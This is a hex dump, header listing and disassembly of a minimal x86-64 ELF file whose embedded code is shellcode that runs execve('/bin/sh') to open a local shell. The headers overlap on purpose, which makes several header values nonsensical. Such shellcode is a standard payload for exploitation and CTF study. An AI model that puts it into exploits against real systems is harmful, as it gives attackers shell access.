00000000: 7f 45 4c 46 02 01 01 00 .ELF....
00000008: 00 00 00 00 00 00 00 00 ........
00000010: 03 00 3e 00 01 00 00 00 ..>.....
00000018: 02 00 00 00 00 00 00 00 ........
00000020: 18 00 00 00 00 00 00 00 ........
00000028: 58 00 00 00 00 00 00 00 X.......
00000030: 5e 0f 05 90 00 00 38 00 ^.....8.
00000038: 02 00 6a 3b 58 48 bb 2f ..j;XH./
00000040: 62 69 6e 2f 73 68 00 99 bin/sh..
00000048: 53 54 5f 52 57 54 eb e0 ST_RWT..
00000050: 01 00 00 00 07 00 00 00 ........
00000058: 05 00 00 00 00 00 00 00 ........
00000060: 05 00 00 00 00 00 00 00 ........
00000068: 0c 00 00 00 00 00 00 00 ........
00000070: 3a 00 00 00 00 00 00 00 :.......
00000078: 06 00 00 00 00 00 00 00 ........
00000080: 00 00 00 00 00 00 00 00 ........
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x2
Start of program headers: 24 (bytes into file)
Start of section headers: 88 (bytes into file)
Flags: 0x90050f5e
Size of this header: 0 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 2
Size of section headers: 15210 (bytes)
Number of section headers: 18520
Section header string table index: 12219
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
DYNAMIC 0x0000000000000018 0x0000000000000058 0x0038000090050f5e
0x2fbb48583b6a0002 0x990068732f6e6962 0xe0eb5457525f5453
LOAD 0x0000000000000005 0x0000000000000005 0x000000000000000c
0x000000000000003a 0x0000000000000006 RWE 0x0
Dynamic section:
Tag Value
DT_STRTAB 0x5
DT_INIT 0x3a
DT_SYMTAB 0x00
code:
pushq $0x3b
pop %rax
movabs $0x68732f6e69622f,%rbx
cltd
push %rbx
push %rsp
pop %rdi
push %rdx
push %rdi
push %rsp
jmp next
next:
pop %rsi
syscall